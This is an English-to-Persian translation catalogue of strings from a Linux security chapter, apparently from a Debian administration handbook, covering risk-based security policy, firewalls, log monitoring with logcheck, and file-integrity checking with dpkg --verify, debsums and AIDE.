0 - en to fa-IR translation catalogue (263 entries)

en: Firewall
fa-IR: فایروال

en: Security
fa-IR: امنیت

en: An information system can have a varying level of importance depending on the environment. In some cases, it is vital to a company's survival. It must therefore be protected from various kinds of risks. The process of evaluating these risks, defining and implementing the protection is collectively known as the “security process”.
fa-IR: یک سیستم اطلاعاتی با توجه به محیط خود می‌تواند سطوح مختلفی از اهمیت را دارا باشد. در برخی موارد، این شرایط برای بقای شرکت حیاتی است. بنابراین باید نسبت به انواع مختلف خطر محافظت گردد. فرآیندی که برای ارزیابی این خطرات، تعریف و پیاده‌سازی لایه حفاظتی انجام می‌شود “فرآیند امنیت” نام دارد.

en: Defining a Security Policy
fa-IR: تعریف خط‌مشی امنیتی

en: <emphasis>CAUTION</emphasis> Scope of this chapter
fa-IR: <emphasis>احتیاط</emphasis> حوزه این فصل

en: The word “security” itself covers a vast range of concepts, tools and procedures, none of which apply universally. Choosing among them requires a precise idea of what your goals are. Securing a system starts with answering a few questions. Rushing headlong into implementing an arbitrary set of tools runs the risk of focusing on the wrong aspects of security.
fa-IR: واژه “امنیت” خود مفاهیم، ابزارها و فرآیندهای گسترده‌ای را شامل می‌شود که هیچکدام به صورت کامل معنای آن را نمی‌رسانند. انتخاب از میان ‌آن‌ها مستلزم ایده‌ای دقیق راجع به اهداف مورد نظر شماست. ایمن‌سازی یک سیستم با پاسخ به چند پرسش اولیه آغاز می‌شود. اینکه از ابتدا با پیاده‌سازی عجله‌ای چند ابزار تمرکز خود را روی یک حوزه معطوف کنیم، ما را در جنبه‌های اشتباه از امنیت قرار می‌دهد.

en: The very first thing to determine is therefore the goal. A good approach to help with that determination starts with the following questions:
fa-IR: یکی از اولین کارهایی که باید انجام داد تشخیص هدف است. رویکرد خوبی که می‌تواند در این تشخیص به ما یاری رساند با پرسش‌های زیر آغاز می‌شود:

en: <emphasis>What</emphasis> are we trying to protect? The security policy will be different depending on whether we want to protect computers or data. In the latter case, we also need to know which data.
fa-IR: از <emphasis>چه چیزی</emphasis> می‌خواهیم محافظت کنیم؟ خط‌مشی امنیت نسبت به اینکه قصد محافظت از رایانه یا داده را داریم متفاوت خواهد بود. در مورد دوم، همچنین باید بدانیم از کدام نوع داده می‌خواهیم محافظت کنیم.

en: What are we trying to protect <emphasis>against</emphasis>? Is it leakage of confidential data? Accidental data loss? Revenue loss caused by disruption of service?
fa-IR: از روی دادن <emphasis>چه اتفاقی</emphasis> می‌خواهیم پیشگیری کنیم؟ آیا اطلاعات محرمانه نشت یافته است؟ داده‌ها به صورت تصادفی از بین رفته‌اند؟ سود تجاری با مختل شدن سرویس از بین رفته است؟

en: Also, <emphasis>who</emphasis> are we trying to protect against? Security measures will be quite different for guarding against a typo by a regular user of the system than they would be when protecting against a determined attacker group.
fa-IR: همچنین، قصد محافظت مقابل <emphasis>چه کسانی</emphasis> را داریم؟ معیارهای امنیتی برای مقابله با اشتباه یک کاربر عادی در مقایسه با یک گروه مهاجم بسیار متفاوت خواهد بود.

en: The term “risk” is customarily used to refer collectively to these three factors: what to protect, what needs to be prevented from happening, and who will try to make it happen. Modeling the risk requires answers to these three questions. From this risk model, a security policy can be constructed, and the policy can be implemented with concrete actions.
fa-IR: عبارت “خطر” به طور معمول در مورد این سه عامل ارجاع داده می‌شود: از چه چیز محافظت شود، از روی دادن چه اتفاقی می‌خواهیم پیشگیری کنیم و قصد محافظت مقابل چه کسانی را داریم. مدل‌سازی خطر نیازمند پاسخ به این سه پرسش است. از این مدل خطر، یک خط‌مشی امنیتی می‌تواند ایجاد گردد که این خط‌مشی می‌تواند با اقدامات مستحکم پیاده‌سازی شود.

en: <emphasis>NOTE</emphasis> Permanent questioning
fa-IR: <emphasis>یادداشت</emphasis> پرسش‌گری به صورت مداوم

en: Bruce Schneier, a world expert in security matters (not only computer security) tries to counter one of security's most important myths with a motto: “Security is a process, not a product”. Assets to be protected change in time, and so do threats and the means available to potential attackers. Even if a security policy has initially been perfectly designed and implemented, one should never rest on one's laurels. The risk components evolve, and the response to that risk must evolve accordingly.
fa-IR: بروس شنیر، یک متخصص جهانی در حوزه امنیت (نه تنها امنیت رایانه) تلاش دارد تا با یکی از افسانه‌های امنیت با این شعار مقابله کند: “امنیت یک فرآیند است، نه یک محصول”. دارایی‌هایی که قصد محافظت از آن‌ها را داریم در گذر زمان تغییر می‌کنند، به همین ترتیب تهدیدات و ابزارهایی که برای مهاجمین احتمالی موجود هستند. حتی اگر یک خط‌مشی امنیتی از ابتدا به صورت کامل طراحی و پیاده‌سازی شده باشد، نباید به کارایی آن در آینده اعتماد کرد. عامل خطر پیشرفت می‌کند، پس پاسخ مناسب به این عامل نیز باید پیشرفت داشته باشد.

en: Extra constraints are also worth taking into account, as they can restrict the range of available policies. How far are we willing to go to secure a system? This question has a major impact on the policy to implement. The answer is too often only defined in terms of monetary costs, but the other elements should also be considered, such as the amount of inconvenience imposed on system users or performance degradation.
fa-IR: محدودیت‌های اضافی نیز در این مورد باید به حساب آیند، چرا که می‌توانند محدوده خط‌مشی موجود را کوچک سازند. برای ایمن‌سازی یک سیستم تا کجا پیش خواهیم رفت؟ این پرسش تاثیر اساسی روی خط‌مشی قابل پیاده‌سازی می‌گذارد. پاسخ در اغلب موارد به صورت هزینه‌های مالی تعریف می‌شود، اما سایر عناصر نیز باید در آن گنجانده شوند، از جمله میزان ناراحتی که بر کاربران سیستم تحمیل می‌شود یا کاهش عملکرد کلی.

en: Once the risk has been modeled, one can start thinking about designing an actual security policy.
fa-IR: زمانی که مدل‌سازی خطر صورت گرفت، می‌توان راجع به طراحی یک خط‌مشی امنیتی حقیقی فکر کرد.

en: <emphasis>NOTE</emphasis> Extreme policies
fa-IR: <emphasis>یادداشت</emphasis> خط‌مشی‌های مفرط

en: There are cases where the choice of actions required to secure a system is extremely simple.
fa-IR: مواردی وجود دارد که در آن‌ها انتخاب اقدامات لازم برای ایمن‌سازی سیستم بسیار ساده است.

en: For instance, if the system to be protected only comprises a second-hand computer, the sole use of which is to add a few numbers at the end of the day, deciding not to do anything special to protect it would be quite reasonable. The intrinsic value of the system is low. The value of the data is zero since they are not stored on the computer. A potential attacker infiltrating this “system” would only gain an unwieldy calculator. The cost of securing such a system would probably be greater than the cost of a breach.
fa-IR: برای نمونه، اگر سیستمی که قصد محافظت از آن را داریم تنها شامل یک رایانه دست-دوم باشد، که کاربرد آن افزودن چند عدد در انتهای روز است، تصمیم بر اینکه کار خاصی درباره محافظت از آن انجام ندهیم بسیار عاقلانه است. ارزش ذاتی این سیستم پایین است. ارزش داده نیز صفر است چرا که در این رایانه ذخیره‌سازی نمی‌شود. یک مهاجم احتمالی که به این “سیستم” نفوذ کند تنها با یک ماشین حساب بزرگ مواجه خواهد شد. هزینه ایمن‌سازی چنین سیستمی در مقایسه با هزینه نفوذ به آن بیشتر خواهد بود.

en: At the other end of the spectrum, we might want to protect the confidentiality of secret data in the most comprehensive way possible, trumping any other consideration. In this case, an appropriate response would be the total destruction of these data (securely erasing the files, shredding of the hard disks to bits, then dissolving these bits in acid, and so on). If there is an additional requirement that data must be kept in store for future use (although not necessarily readily available), and if cost still isn't a factor, then a starting point would be storing the data on iridium–platinum alloy plates stored in bomb-proof bunkers under various mountains in the world, each of which being (of course) both entirely secret and guarded by entire armies…
fa-IR: از طرف دیگر، شاید بخواهیم از محرمانگی داده‌های حساس به جامع‌ترین روش ممکن محافظت کنیم. در این مورد، یک پاسخ مناسب می‌تواند از بین بردن تمام این داده‌ها باشد (حذف فایل‌ها به شیوه‌ای ایمن، پاکسازی هارد دیسک‌ها در سطح بیت، قرار دادن آن‌ها در اسید و از این قبیل). اگر نیازمندی دیگری در رابطه با ذخیره‌سازی داده برای نیاز آینده (با اینکه الزامی در موجود بودن آن نیست) باشد و اگر هزینه هنوز عامل مهمی نیست، پس نقطه شروع می‌تواند ذخیره‌سازی این داده‌ها روی نوارهای ایریدیوم-پلاتینیوم محافظت شده در سنگرهای ضد-بمب موجود در چندین کوهستان جهان است، که هر کدام (البته) کاملا محرمانه بوده و توسط ارتش‌های جداگانه محافظت می‌شوند...

en: In most cases, the information system can be segmented in consistent and mostly independent subsets. Each subsystem will have its own requirements and constraints, and so the risk assessment and the design of the security policy should be undertaken separately for each. A good principle to keep in mind is that a short and well-defined perimeter is easier to defend than a long and winding frontier. The network organization should also be designed accordingly: the sensitive services should be concentrated on a small number of machines, and these machines should only be accessible via a minimal number of check-points; securing these check-points will be easier than securing all the sensitive machines against the entirety of the outside world. It is at this point that the usefulness of network filtering (including by firewalls) becomes apparent. This filtering can be implemented with dedicated hardware, but a possibly simpler and more flexible solution is to use a software firewall such as the one integrated in the Linux kernel.
fa-IR: در اکثر موارد، سیستم اطلاعاتی می‌تواند به زیر مجموعه‌های یکپارچه و اغلب مستقل تقسیم شود. هر زیر مجموعه نیازمندی‌ها و محدودیت‌های خود را خواهد داشت که ارزیابی خطر و طراحی خط‌مشی سیاسی به صورت جداگانه برای هر کدام باید محاسبه گردد. یک قاعده خود که باید مد نظر قرار دهیم این است که درک یک محیط کوچک و خوش-تعریف نسبت به یک جنگل بزرگ و طولانی آسان‌تر است. سازماندهی شبکه نیز باید به همین صورت طراحی گردد: خدمات حساس باید روی تعداد کمی از ماشین‌ها قرار داشته باشند و این ماشین‌ها تنها باید از حداقل تعداد نقاط ممکن قابل دسترس باشند؛ ایمن‌سازی این نقاط نسبت به ایمن‌سازی تمام ماشین‌های حساس در مقابل دنیای خارج راحت‌تر است. در این نقطه است که کاربردپذیری فیلترینگ شبکه (که شامل فایروال‌ها می‌شود) مشخص می‌شود. این فیلترینگ می‌تواند با استفاده از یک سخت‌افزار اختصاصی انجام شود، اما یک راهکار ساده‌تر و موثرتر استفاده از نرم‌افزار فایروال از جمله نسخه ادغام شده در کرنل لینوکس است.

en: Firewall or Packet Filtering
fa-IR: فایروال یا فیلترینگ بسته

en: <primary>firewall</primary>
fa-IR: <primary>فایروال</primary>

en: <emphasis>BACK TO BASICS</emphasis> Firewall
fa-IR: <emphasis>بازگشت به مقدمات</emphasis> فایروال

en: <primary>packet</primary><secondary>IP</secondary>
fa-IR: <primary>بسته</primary><secondary>IP</secondary>

en: A <emphasis>firewall</emphasis> is a piece of computer equipment with hardware and/or software that sorts the incoming or outgoing network packets (coming to or from a local network) and only lets through those matching certain predefined conditions.
fa-IR: یک <emphasis>فایروال</emphasis> تجهیزات رایانه‌ای به صورت سخت‌افزار یا نرم‌افزار است که بسته‌های دریافتی یا ارسالی شبکه (از و یا به شبکه محلی) را مرتب‌سازی کرده و تنها به ماشین‌هایی اجازه دسترسی می‌دهد که شرایط از پیش تعریف شده را داشته باشند.

en: A firewall is a filtering network gateway and is only effective on packets that must go through it. Therefore, it can only be effective when going through the firewall is the only route for these packets.
fa-IR: فایروال یک دروازه فیلترینگ شبکه است که تنها برای بسته‌های ارسالی از میان آن کاربرد دارد. بنابراین، در صورتی که عبور از فایروال تنها مسیر موجود برای این بسته‌ها باشد موثر خواهد بود.

en: <emphasis>SPECIFIC CASE</emphasis> Local Firewall
fa-IR: <emphasis>مورد ویژه</emphasis> فایروال محلی

en: <primary>chain</primary>
fa-IR: <primary>زنجیر</primary>

en: <emphasis>BACK TO BASICS</emphasis> ICMP
fa-IR: <emphasis>بازگشت به مقدمات</emphasis> ICMP

en: For reference, a receive buffer is a small memory zone storing data between the time it arrives from the network and the time the kernel handles it. If this zone is full, new data cannot be received, and ICMP signals the problem, so that the emitter can slow down its transfer rate (which should ideally reach an equilibrium after some time).
fa-IR: برای اشاره، بافر دریافتی یک حافظه کوچک برای ذخیره‌سازی داده است که از زمان رسیدن به شبکه تا پردازش توسط کرنل استفاده می‌شود. اگر این منطقه پر باشد، داده جدید نمی‌تواند دریافت شود و ICMP مشکل را مشخص می‌کند تا فرستنده‌ها سرعت انتقال داده را کاهش دهند (که پس از گذشت زمان به نرخ متعادل خود می‌رسد).

en: <primary>receive buffer</primary>
fa-IR: <primary>بافر دریافتی</primary>

en: <primary>buffer</primary><secondary>receive buffer</secondary>
fa-IR: <primary>بافر</primary><secondary>بافر دریافتی</secondary>

en: Installing the Rules at Each Boot
fa-IR: اجرای قوانین در هر مرتبه راه‌اندازی

en: <filename>interfaces</filename> file calling firewall script
fa-IR: فایل <filename>interfaces</filename> که اسکریپت فایروال را فراخوانی می‌کند

en: This obviously assumes that you are using <emphasis role="pkg">ifupdown</emphasis> to configure the network interfaces. If you are using something else (like <emphasis>NetworkManager</emphasis> or <emphasis>systemd-networkd</emphasis>), then refer to their respective documentation to find out ways to execute a script after the interface has been brought up.
fa-IR: تصور بر این است که از <emphasis role="pkg">ifupdown</emphasis> برای پیکربندی رابط‌های شبکه استفاده می‌کنید. اگر از ابزار دیگری برای اینکار بهره می‌برید (مانند <emphasis>NetworkManager</emphasis> یا <emphasis>systemd-networkd</emphasis>)، بهتر است به مستندات آن‌ها مراجعه کرده تا روش فراخوانی اسکریپت پس از بالا آمدن رابط را پیدا کنید.

en: Supervision: Prevention, Detection, Deterrence
fa-IR: نظارت: پیشگیری، شناسایی، بازدارندگی

en: <primary>monitoring</primary>
fa-IR: <primary>مانیتورینگ</primary>

en: Monitoring is an integral part of any security policy for several reasons. Among them, that the goal of security is usually not restricted to guaranteeing data confidentiality, but it also includes ensuring availability of the services. It is therefore imperative to check that everything works as expected, and to detect in a timely manner any deviant behavior or change in quality of the service(s) rendered. Monitoring activity can help detecting intrusion attempts and enable a swift reaction before they cause grave consequences. This section reviews some tools that can be used to monitor several aspects of a Debian system. As such, it completes <xref linkend="sect.monitoring" />.
fa-IR: مانیتورینگ، بنا بر دلایل مختلف، یک بخش جدایی ناپذیر از هر خط مشی امنیتی به حساب می‌آید. از میان آن‌ها، نه تنها هدف امنیت محدود به ضمانت از محرمانگی داده نیست، بلکه شامل دسترسی به سرویس‌ها نیز می‌باشد. پس ضروری است که از عملکرد صحیح اجزا اطلاع داشته  و بتوان در گذر زمان هر گونه انحراف یا تغییر در کیفیت خدمات را تشخیص دهیم. مانیتورینگ می‌تواند به شناسایی تلاش به نفوذ و فعال‌سازی یک اقدام سریع قبل از اینکه عواقب جبران ناپذیر اتفاق بیفتد، کمک کند. این قسمت به بررسی چندین ابزار می‌پردازد که جنبه‌های مختلف مانیتورینگ در یک سیستم دبیان را شامل می‌شوند. از این رو، کامل کننده <xref linkend="sect.monitoring" /> به حساب می‌آید.

en: Monitoring Logs with <command>logcheck</command>
fa-IR: مانیتورینگ گزارش‌ها با استفاده از <command>logcheck</command>

en: <primary>monitoring</primary><secondary>log files</secondary>
fa-IR: <primary>مانیتورینگ</primary><secondary>فایل‌های گزارش</secondary>

en: The <command>logcheck</command> program monitors log files every hour by default. It sends unusual log messages in emails to the administrator for further analysis.
fa-IR: برنامه <command>logcheck</command> به صورت پیشفرض در هر ساعت به فایل‌های گزارش نظارت کرده و پیام‌های گزارش غیر معمول را از طریق ایمیل به مدیر سیستم برای تحلیل بیشتر ارسال می‌کند.

en: The list of monitored files is stored in <filename>/etc/logcheck/logcheck.logfiles</filename>; the default values work fine if the <filename>/etc/rsyslog.conf</filename> file has not been completely overhauled.
fa-IR: فهرستی از فایل‌های نظارت شده در <filename>/etc/logcheck/logcheck.logfiles</filename> ذخیره‌سازی می‌گردد؛ مقادیر پیشفرض در صورتی کار می‌کنند که فایل <filename>/etc/rsyslog.conf</filename> به صورت کامل بازسازی نشده باشد.

en: <command>logcheck</command> can work in one of three more or less detailed modes: <emphasis>paranoid</emphasis>, <emphasis>server</emphasis> and <emphasis>workstation</emphasis>. The first one is <emphasis>very</emphasis> verbose, and should probably be restricted to specific servers such as firewalls. The second (and default) mode is recommended for most servers. The last one is designed for workstations, and is even terser (it filters out more messages).
fa-IR: <command>logcheck</command> می‌تواند در یکی از سه حالت موجود کار کند: <emphasis>paranoid</emphasis>، <emphasis>server</emphasis> و <emphasis>workstation</emphasis>. حالت اول شامل جزئیات <emphasis>بسیاری</emphasis> است که تنها باید در مورد سرورهایی نظیر فایروال استفاده گردد. حالت دوم (و پیشفرض) برای اکثر سرورها توصیه می‌شود. حالت آخر نیز در مورد رایانه‌های رومیزی کاربرد دارد که شامل جزئیات کمتری می‌شود (پیام‌های بیشتری را فیلتر می‌کند).

en: In all three cases, <command>logcheck</command> should probably be customized to exclude some extra messages (depending on installed services), unless the admin really wishes to receive hourly batches of long uninteresting emails. Since the message selection mechanism is rather complex, <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> is a required — if challenging — read.
fa-IR: در هر سه مورد، <command>logcheck</command> به منظور پیشگیری از پیام‌های اضافی باید سفارشی‌سازی گردد (مبتنی بر سرویس‌های نصب شده)، مگر اینکه مدیر سیستم بخواهد به صورت ساعتی فهرستی از ایمیل‌های طولانی و ناخواسته را مشاهده کند. از آنجا که مکانیزم انتخاب پیام به قدری پیچیده است، مطالعه <filename>/usr/share/doc/logcheck-database/README.logcheck-database.gz</filename> به شدت توصیه می‌شود.

en: The applied rules can be split into several types:
fa-IR: قوانین اعمال شده می‌توانند به چندین نوع تقسیم شوند:

en: those that qualify a message as a cracking attempt (stored in a file in the <filename>/etc/logcheck/cracking.d/</filename> directory);
fa-IR: آن‌هایی که صلاحیت یک پیام را به عنوان تلاش برای نفوذ در نظر می‌گیرند (که در دایرکتوری <filename>/etc/logcheck/cracking.d/</filename> ذخیره‌سازی می‌شوند)؛

en: those canceling such a qualification (<filename>/etc/logcheck/cracking.ignore.d/</filename>);
fa-IR: آن‌هایی که این صلاحیت را نادیده می‌گیرند (<filename>/etc/logcheck/cracking.ignore.d/</filename>)؛

en: those classifying a message as a security alert (<filename>/etc/logcheck/violations.d/</filename>);
fa-IR: آن‌هایی که یک پیام را به عنوان هشدار امنیتی طبقه‌بندی می‌کنند (<filename>/etc/logcheck/violations.d/</filename>)؛

en: those canceling this classification (<filename>/etc/logcheck/violations.ignore.d/</filename>);
fa-IR: آن‌هایی که این طبقه‌بندی را نادیده می‌گیرند (<filename>/etc/logcheck/violations.ignore.d/</filename>)؛

en: finally, those applying to the remaining messages (considered as <emphasis>system events</emphasis>).
fa-IR: در نهایت، آن‌هایی که به پیام‌های باقیمانده اعمال می‌شوند (که به عنوان <emphasis>رویدادهای سیستمی</emphasis> شناخته می‌شوند).

en: <emphasis>CAUTION</emphasis> Ignoring a message
fa-IR: <emphasis>احتیاط</emphasis> نادیده گرفتن یک پیام

en: Any message tagged as a cracking attempt or a security alert (following a rule stored in a <filename>/etc/logcheck/violations.d/myfile</filename> file) can only be ignored by a rule in a <filename>/etc/logcheck/violations.ignore.d/myfile</filename> or <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> file.
fa-IR: هر پیامی که به عنوان تلاش برای نفوذ یا هشدار امنیتی برچسب‌گذاری شده باشد (همراه با یک قانون موجود در فایل <filename>/etc/logcheck/violations.d/myfile</filename>) تنها می‌تواند با استفاده از یک قانون در فایل <filename>/etc/logcheck/violations.ignore.d/myfile</filename> یا <filename>/etc/logcheck/violations.ignore.d/myfile-<replaceable>extension</replaceable></filename> نادیده گرفته شود.

en: A system event is always signaled unless a rule in one of the <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> directories states the event should be ignored. Of course, the only directories taken into account are those corresponding to verbosity levels equal or greater than the selected operation mode.
fa-IR: یک رویداد سیستمی همیشه ارسال می‌شود مگر یکی از قوانین موجود در دایرکتوری‌های <filename>/etc/logcheck/ignore.d.{paranoid,server,workstation}/</filename> بگوید که این رویداد نادیده گرفته شود. البته، تنها دایرکتوری‌هایی به حساب می‌آیند که سطح گزارش برابر یا بیشتر از حالت عملیاتی انتخابی داشته باشند.

en: Monitoring Activity
fa-IR: فعالیت مانیتورینگ

en: <primary>monitoring</primary><secondary>activity</secondary>
fa-IR: <primary>مانیتورینگ</primary><secondary>فعالیت</secondary>

en: <primary>activity, monitoring</primary>
fa-IR: <primary>فعالیت، مانیتورینگ</primary>

en: In Real Time
fa-IR: در زمان حقیقی

en: <command>top</command> is an interactive tool that displays a list of currently running processes. The default sorting is based on the current amount of processor use and can be obtained with the <keycap>P</keycap> key. Other sort orders include a sort by occupied memory (<keycap>M</keycap> key), by total processor time (<keycap>T</keycap> key) and by process identifier (<keycap>N</keycap> key). The <keycap>k</keycap> key allows killing a process by entering its process identifier. The <keycap>r</keycap> key allows <emphasis>renicing</emphasis> a process, i.e. changing its priority.
fa-IR: <command>top</command> یک ابزار تعاملی است که فهرستی از فرآیندهای در حال اجرا را نمایش می‌دهد. مرتب‌سازی پیشفرض آن مبتنی بر میزان استفاده فعلی از پردازنده است که می‌تواند با کلید <keycap>P</keycap> مشخص گردد. سایر انواع مرتب‌سازی شامل حافظه مصرفی (کلید <keycap>M</keycap>)، زمان کلی پردازنده (کلید <keycap>T</keycap>) و شناسه فرآیند (کلید <keycap>N</keycap>) می‌باشند. کلید <keycap>k</keycap> اجازه نابودی یک فرآیند با وارد کردن شناسه‌اش را فراهم می‌کند. کلید <keycap>r</keycap> امکان <emphasis>renice</emphasis> یک فرآیند را فراهم می‌کند، که همان تغییر اولویت در اجرا است.

en: <command>top</command> is a very flexible tool and its manual page gives details on how to customize its display and adapt it to one's personal needs and habits.
fa-IR: <command>top</command> ابزار بسیار منعطفی است و صفحه راهنمای آن جزئیات بیشتری را درباره سفارشی‌کردن برای نیازهای خاص کاربر نمایش می‌دهد.

en: The <command>gnome-system-monitor</command> graphical tool is similar to <command>top</command> and it provides roughly the same features.
fa-IR: ابزار گرافیکی <command>gnome-system-monitor</command> مشابه با <command>top</command> بوده که تقریبا همان ویژگی‌ها را فراهم می‌کند.

en: History
fa-IR: تاریخچه

en: <primary>activity, history</primary>
fa-IR: <primary>فعالیت، تاریخچه</primary>

en: Processor load, network traffic and free disk space are information that are constantly varying. Keeping a history of their evolution is often useful in determining exactly how the computer is used.
fa-IR: بار پردازنده، ترافیک شبکه و فضای آزاد دیسک اطلاعاتی هستند که به صورت مداوم در حال تغییر می‌باشند. نگهداری تاریخچه‌ای از میزان مصرف آن‌ها درک خوبی از چگونگی کارکرد رایانه را در اختیار ما قرار می‌دهد.

en: There are many dedicated tools for this task. Most can fetch data via SNMP (<emphasis>Simple Network Management Protocol</emphasis>) in order to centralize this information. An added benefit is that this allows fetching data from network elements that may not be general-purpose computers, such as dedicated network routers or switches.
fa-IR: ابزار اختصاصی متفاوتی برای این منظور وجود دارد. اغلب آن‌ها می‌توانند با استفاده از SNMP یا <emphasis>Simple Network Management Protocol</emphasis> اطلاعات را به صورت مرکزی دریافت کنند. یک مزیت اینکار دریافت داده از عناصر شبکه‌ای است که رایانه‌های همه منظوره به حساب نمی‌آیند، از جمله مسیریاب‌ها یا سوئیچ‌های شبکه.

en: <emphasis>ALTERNATIVE</emphasis> <command>mrtg</command>
fa-IR: <emphasis>جایگزین</emphasis> <command>mrtg</command>

en: <command>mrtg</command> (in the similarly-named package) is an older tool. Despite some rough edges, it can aggregate historical data and display them as graphs. It includes a number of scripts dedicated to collecting the most commonly monitored data such as processor load, network traffic, web page hits, and so on.
fa-IR: <command>mrtg</command> (در بسته‌ای با همین نام) ابزاری قدیمی‌تر به حساب می‌آید. بر خلاف برخی جنبه‌های دشوار آن، می‌تواند داده تاریخچه را گردآوری کرده و به صورت نمودار نمایش دهد. این ابزار شامل برخی اسکریپت‌های اختصاصی برای گردآوری متداول‌ترین داده‌های مانیتورینگ از جمله بار پردازنده، ترافیک شبکه، صفحه وب و از این قبیل می‌باشد.

en: The <emphasis role="pkg">mrtg-contrib</emphasis> and <emphasis role="pkg">mrtgutils</emphasis> packages contain example scripts that can be used directly.
fa-IR: بسته‌های <emphasis role="pkg">mrtg-contrib</emphasis> و <emphasis role="pkg">mrtgutils</emphasis> شامل نمونه اسکریپت‌هایی هستند که می‌توان بلافاصله از آن‌ها استفاده کرد.

en: <primary>intrusion detection</primary>
fa-IR: <primary>تشخیص نفوذ</primary>

en: Detecting Changes
fa-IR: تشخیص تغییرات

en: Auditing Packages with <command>dpkg --verify</command>
fa-IR: بازرسی بسته‌ها با استفاده از <command>dpkg --verify</command>

en: <emphasis>GOING FURTHER</emphasis> Protecting against upstream changes
fa-IR: <emphasis>مطالعه بیشتر</emphasis> محافظت مقابل تغییرات بالادستی

en: <command>dpkg --verify</command> (or <command>dpkg -V</command>) is an interesting tool since it allows finding what installed files have been modified (potentially by an attacker), but this should be taken with a grain of salt. To do its job it relies on checksums stored in dpkg's own database which is stored on the hard disk (they can be found in <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename>); a thorough attacker will therefore update these files so they contain the new checksums for the subverted files.
fa-IR: <command>dpkg --verify</command> یا <command>dpkg -V</command> ابزار جالبی است چرا که امکان جستجوی فایل‌های تغییر یافته از زمان نصب را فراهم می‌کند (که احتمالا توسط مهاجم تغییر یافته‌اند) اما اینکار باید با احتیاط بیشتری صورت پذیرد. برای اینکه بتواند کار خود را انجام دهد نیازمند checksum ذخیره‌سازی شده در پایگاه‌داده dpkg روی هارد دیسک می‌باشد (این فایل‌ها می‌توانند در <filename>/var/lib/dpkg/info/<replaceable>package</replaceable>.md5sums</filename> پیدا شوند)؛ یک مهاجم بالقوه با بروزرسانی این فایل‌ها از تشخیص فایل‌های تغییر یافته جلوگیری بعمل می‌آورد.

en: <emphasis>BACK TO BASICS</emphasis> File fingerprint
fa-IR: <emphasis>بازگشت به مقدمات</emphasis> اثرانگشت فایل

en: <primary>fingerprint</primary>
fa-IR: <primary>اثرانگشت</primary>

en: Running <command>dpkg -V</command> will verify all installed packages and will print out a line for each file with a failing test. The output format is the same as the one of <command>rpm -V</command> where each character denotes a test on some specific meta-data. Unfortunately <command>dpkg</command> does not store the meta-data needed for most tests and will thus output question marks for them. Currently only the checksum test can yield a "5" on the third character (when it fails).
fa-IR: اجرای <command>dpkg -V</command> تمام بسته‌های نصب شده را مورد بررسی قرار داده و به ازای هر کدام که در این آزمون شکست بخورند در خط جداگانه‌ای نمایش داده می‌شود. قالب خروجی مشابه با <command>rpm -V</command> است که در آن هر کاراکتر بیانگر یک آزمون روی اطلاعات جانبی بسته است. متاسفانه <command>dpkg</command> اطلاعات جانبی مورد نیاز بسته را ذخیره‌سازی نمی‌کند و آن‌ها را به صورت علامت سوال در خروجی نمایش می‌دهد. در حال حاضر تنها آزمون checksum منجر به تولید "5" در سومین کاراکتر آن (زمانی که شکست بخورد) می‌شود.

en: Auditing Packages: <command>debsums</command> and its Limits
fa-IR: بازرسی بسته‌ها: <command>debsums</command> و محدودیت‌های آن

en: Since the data on the disk cannot be trusted, <command>debsums</command> offers to do its checks based on <filename>.deb</filename> files instead of relying on dpkg's database. To download trusted <filename>.deb</filename> files of all the packages installed, we can rely on APT's authenticated downloads. This operation can be slow and tedious, and should therefore not be considered a proactive technique to be used on a regular basis.
fa-IR: از آنجا که نمی‌توان به داده روی دیسک اعتماد کرد، <command>debsums</command> پیشنهاد می‌کند که بجای پایگاه‌داده dpkg از فایل‌های <filename>.deb</filename> به منظور آزمون استفاده شود. برای دانلود فایل‌های <filename>.deb</filename> بسته‌های نصب شده، می‌توان روی مکانیزم احرازهویت APT حساب باز کرد. این عملیات می‌تواند کند و خسته‌کننده باشد، پس نباید به عنوان تکنیکی موثر به صورت روزانه مورد استفاده قرار گیرد.

en: Note that this example uses the <command>grep-status</command> command from the <emphasis role="pkg">dctrl-tools</emphasis> package, which is not installed by default.
fa-IR: به یاد داشته باشید که در این مثال از دستور <command>grep-status</command> واقع در بسته <emphasis role="pkg">dctrl-tools</emphasis> استفاده شده است، که به صورت پیشفرض نصب نمی‌باشد.

en: Monitoring Files: AIDE
fa-IR: مانیتورینگ فایل‌ها: AIDE

en: The AIDE tool (<emphasis>Advanced Intrusion Detection Environment</emphasis>) allows checking file integrity, and detecting any change against a previously recorded image of the valid system. This image is stored as a database (<filename>/var/lib/aide/aide.db</filename>) containing the relevant information on all files of the system (fingerprints, permissions, timestamps and so on). This database is first initialized with <command>aideinit</command>; it is then used daily (by the <filename>/etc/cron.daily/aide</filename> script) to check that nothing relevant changed. When changes are detected, AIDE records them in log files (<filename>/var/log/aide/*.log</filename>) and sends its findings to the administrator by email.
fa-IR: ابزار AIDE یا <emphasis>Advanced Intrusion Detection Environment</emphasis> امکان بررسی جامعیت فایل را فراهم می‌کند و هرگونه تغییر مقابل image نسخه پیشین از سیستم معتبر را تشخیص می‌دهد. این image به عنوان یک پایگاه‌داده ذخیره‌سازی می‌شود (<filename>/var/lib/aide/aide.db</filename>) که شامل اطلاعات مرتبط درباره تمام فایل‌های سیستم است (اثرانگشت‌ّها، مجوزها، بازه‌های زمانی و از این قبیل). این پایگاه‌داده ابتدا توسط <command>aideinit</command> راه‌اندازی می‌شود؛ سپس به صورت روزانه توسط اسکریپت <filename>/etc/cron.daily/aide</filename> به منظور بررسی برای عدم تغییر فایل‌های مرتبط استفاده می‌گردد. زمانی که تغییر تشخیص داده شود، AIDE آن‌ها را در فایل‌های گزارش (<filename>/var/log/aide/*.log</filename>) ثبت کرده و مشاهدات خود ار از طریق ایمیل برای مدیر سیستم ارسال می‌کند.

en: <emphasis>IN PRACTICE</emphasis> Protecting the database
fa-IR: <emphasis>در عمل</emphasis> محافظت از پایگاه‌داده

en: Since AIDE uses a local database to compare the states of the files, the validity of its results is directly linked to the validity of the database. If an attacker gets root permissions on a compromised system, they will be able to replace the database and cover their tracks. A possible workaround would be to store the reference data on read-only storage media.
